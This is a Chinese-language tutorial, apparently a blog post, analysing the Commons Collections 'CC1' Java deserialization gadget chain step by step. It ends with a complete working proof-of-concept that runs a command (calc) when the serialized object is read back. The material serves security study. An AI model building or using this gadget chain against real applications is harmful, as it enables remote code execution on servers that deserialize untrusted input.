java反序列化-cc1链

前言

Apache Commons Collections是java官方集合工具的加强补丁包,专门补原生java集合不好用,功能缺失的问题,cc链就是在Commons Collections包中的反序列化利用链,本文分析的cc1链依赖环境:JDK版本:1.8.0_8u65,Commons Collections 3.2.1及以下版本

漏洞原理分析

cc1链路流程如下

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| AnnotationInvocationHandler.readObject()----AbstractMapEntryDecorator.setValue()---TransformedMap.checkSetValue()---ChainedTransformer.transform()--InvokerTransformer. transform()---Runtime.getruntime().exec() |

java原生的反序列化要满足两个条件,入口类实现序列化接口并且重写了readObject函数,重写之后才有可能执行危险的方法。

Transformer接口

这里一个函数调用接口,输入任意object对象,输出转换后新的object类型对象。找一下继承这个接口的所有实现类

InvokerTransformer

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public class InvokerTransformer implements Transformer, Serializable{ public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } |

InvokerTransformer实现了Transformer接口并且重写了transformer方法 ,关键代码就在

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Class cls = input.getClass(); //获取一个完整类的原型 Method method = cls.getMethod(iMethodName, iParamTypes); //获取了类的方法 return method.invoke(input, iArgs); //调用方法 |

这三个参数:方法名,参数类型,参数,这三个参数

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } |

这三个参数是我们可控的,分析到这就可以执行任意命令

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| package org.example; import javax.xml.transform.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.util.Properties; public class test1 { public static void main(String[] args) { Transformer invoker = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ); invoker.transform(Runtime.getRuntime()); } } |

这个类是链子的终点,接下来需要往上找,看一下那些类调用了这个transform方法

TransformedMap

这里看TransformedMap类下的checkSetvalue方法

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; //可控 } protected Object checkSetValue(Object value) { return valueTransformer.transform(value); } |

这就相当于一个实现自动转换的Map包装类,在往Map中放值是自动执行了这个checkSetValue.

这里会直接调用valueTransformer的transform方法,如果我们传入的valueTransformer是invokerTransformer的对象,等价于

|-----------------------------------------------------------------------------------------------------------------------------------------------------|
| valueTransformer.transform(Runtime.getRuntime())->InvokerTransformer.transform(Runtime.getRuntime())->Runtime.getRuntime().exec("calc.exe") |

由于修饰符是protected,只有自己这个类可以调用,外部类不能直接调用,在TransformedMap中有一个静态方法

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } |

这个decorate方法调用了TransformedMap的构造方法,

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public class test1 { public static void main(String[] args) { Transformer invoker = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ); // invoker.transform(Runtime.getRuntime()); HashMap<Object,Object> map=new HashMap<>(); Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,invoker); } } |

这里就是new了一个TransformedMap对象,只要能够修改值,就会触发

|-----------------------------------------------------------------------------------------------------------------------------------------------------|
| valueTransformer.transform(Runtime.getRuntime())->InvokerTransformer.transform(Runtime.getRuntime())->Runtime.getRuntime().exec("calc.exe") |

接下来就是要想办法调用这个checkSetVaule方法.

AbstractMapEntryDecorator.setValue()

这里看到只有一个位置调用了checkSetValue方法,就是TransformedMap的父类AbstractInputCheckedMapDecorator有一个MapEntry类

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| static class MapEntry extends AbstractMapEntryDecorator { /** The parent map */ private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } } } |

我们首先更遍历map拿到键值对,然后调用setValue,value就是Runtime.getRuntime()

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public class test1 { public static void main(String[] args) { Transformer invoker = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ); // invoker.transform(Runtime.getRuntime()); HashMap<Object,Object> map=new HashMap<>(); map.put("aaa", "bbb"); Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,invoker); for(Map.Entry entry:transformedmap.entrySet()){ entry.setValue(Runtime.getRuntime()); } } } |

再理一下思路,首先实例化一个hashMap,放入一个键值对,然后把这个当作参数传入TransformedMap.decorate,上面说了执行decorate会实例化一个对象,这个对象也是Map类型,这个map是被包装过的map,然后执行了setValue。就是

|-------------------------------------------------------------|
| value = parent.checkSetValue(Runtime.getRuntime()); |

这里的parent 是transformedmap,因为TransformedMap继承了AbstractInputCheckedMapDecorator,这个父类又重写了setValue方法,

这个重写后有调用了checkSetValue。

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| entry.setValue(Runtime.getRuntime()) ↓ MapEntry.setValue(重写) ↓ parent.checkSetValue(value) ↓ TransformedMap.checkSetValue(value) ↓ valueTransformer.transform(value) ↓ InvokerTransformer.transform(Runtime.getRuntime()) ↓ 反射执行 exec("calc.exe") ↓ 弹出计算器 |

接下来就是寻找那个方法调用了setValue,要是还重写了readObject方法就更好了。然后找到了AnnotationInvocationHandler类

AnnotationInvocationHandler

这个类是可序列化的,然后就是重写了readObject()

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } } } |

他会遍历map调用setValue,看一下构造函数

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; } |

主要看两个参数,type是注解的类型,随便写一个就行,后面的map就传入我们TransformedMap,这个类定义的时候没写pubilc,需要使用反射构造,

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public class test1 { public static void main(String[] args) throws Exception { Transformer invoker = new InvokerTransformer( "exec", new Class[]{String.class}, new Object[]{"calc.exe"} ); // invoker.transform(Runtime.getRuntime()); HashMap<Object,Object> map=new HashMap<>(); map.put("aaa", "bbb"); Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,invoker); Class cc=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorcc=cc.getDeclaredConstructor(Class.class,Map.class); constructorcc.setAccessible(true); Object cc1= constructorcc.newInstance(Override.class,transformedmap); serialize(cc1); unserialize("cc1.txt"); } public static void serialize(Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("cc1.txt")); oos.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } } |

运行没有弹计算器,还要需要解决三个问题

问题1-Runtime.getRuntime()对象不可被反序列化

首先看一下Runtime

这个类是没有serializable接口的,不能被反序列化,但是class对象可以序列化

代码如下:

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public class test2 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Class cc =Runtime.class; Method getRuntime=cc.getDeclaredMethod("getRuntime",null); Runtime r=(Runtime) getRuntime.invoke(null,null); //等价于Runtime r=Runtime.getRuntime(); Method exec=cc.getDeclaredMethod("exec",String.class); exec.invoke(r,"calc"); } } |

这里在说一下这个Runtime类,

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public class Runtime { private static Runtime currentRuntime = new Runtime(); public static Runtime getRuntime() { return currentRuntime; } private Runtime() {} |

代码中定义的构造函数是private,外部不能直接new对象,通过这个Runtime方法可以创建可以Runtime对象,currentRuntime,相当于一种单例模式。获得Runtime对象就可以通过反射执行命令

使用反射就可以调用方法

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r); |

在Commons Collections库中存在的ChainedTransformer类,他也存在transform方法可以帮助我们简化上述代码

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } |

代码关键就是这个for循环,每一个transformer依次执行,前一个输出变成下一个输入,直到全部执行完

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Transformer[] transformers = new Transformer[]{ new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); |

然后解决完这个问题,在执行setValue前还有两个if语句。

问题2-两个if问题

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) |

第一个if是判断megberType是否为空,下个断点看一下

代码到这memberType为空,一个if都过不了没法执行下面的代码,现在就是要解决memberType为空的问题,看一下相关代码

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| annotationType = AnnotationType.getInstance(type); Map<String, Class<?>> memberTypes = annotationType.memberTypes(); //获得注解的成员名 String name = memberValue.getKey(); //传入map中的key Class<?> memberType = memberTypes.get(name); //去注解中的查询key |

这里需要传入的map中的key与注解中拿到的key相同才不会为空,我们传入的注解是Override,

这个为空,需要换一个注解

我们只需要修改注解为Target还有map中的key为value就可以通过第一个if

第二个if它俩能不能强转,肯定强转不了的。通过了这两个if

问题3- setValue 方法参数不可控

|----------------------------------------------------------------------------------------------------------------------------------------------------------------|
| memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); |

这里的setValue的参数不可控我们没办法达到目的,需要使用Transformer接口的一个子类ConstantTransformer

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| public class ConstantTransformer implements Transformer, Serializable { public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; //返回值跟输入的值没有关系, } |

这个transform方法无论传入什么参数都只会返回iConstant,而iConstant 属性在 ConstantTransformer 的构造方法中被赋值,接下来把iConstant属性赋值为Runtime.class,放进构造的数组最顶层,ConstantTransformer 的 transform 方法都会返回Runtime.class,然后就开始调用。

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| package org.example; import javax.xml.transform.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; import java.util.Properties; public class test1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), //传入固定参数Runtime.class new InvokerTransformer ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer ("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> map=new HashMap<>(); map.put("value", "bbb"); //传入键为value通过if判断 Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,chainedTransformer); Class cc=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructorcc=cc.getDeclaredConstructor(Class.class,Map.class); constructorcc.setAccessible(true); Object cc1= constructorcc.newInstance(Target.class,transformedmap); //注解为Target通过if判断 serialize(cc1); unserialize("cc1.txt"); } public static void serialize(Object object) throws Exception{ ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("cc1.txt")); oos.writeObject(object); } public static void unserialize(String filename) throws Exception{ ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); } } |

相关推荐
山上三树1 小时前
Python 高频报错速查表(开发通用版)
开发语言·python
garmin Chen1 小时前
Elasticsearch(1):Elasticsearch核心原理与基础操作总结
java·大数据·笔记·elasticsearch·搜索引擎·全文检索
傻啦嘿哟2 小时前
解决DNS污染:防止OpenClaw解析API域名到虚假地址
开发语言·php
MY_TEUCK2 小时前
【MYTRUCK - AI 应用】MetaGPT 0.8.2 安装与排错完整实录(Python 3.10 + 虚拟环境)
开发语言·人工智能·python·ai
Devin~Y2 小时前
大厂Java面试实录:Spring Boot/Cloud、Kafka、Redis、K8s 可观测性 + RAG/Agent(小Y翻车版)
java·spring boot·redis·spring cloud·kafka·kubernetes·mybatis
林森lsjs2 小时前
【日耕一题】2. 面向对象 Java 基础:构造方法与 toString
java·开发语言
广_2 小时前
用AI写一个Python实时硬件监控与日志可视化界面
开发语言·人工智能·python
学代码的真由酱2 小时前
【自用】测开面试问题-Java
java·面试·职场和发展
过期动态2 小时前
【LeetCode 热题 100】三数之和
java·数据结构·算法·leetcode·职场和发展·排序算法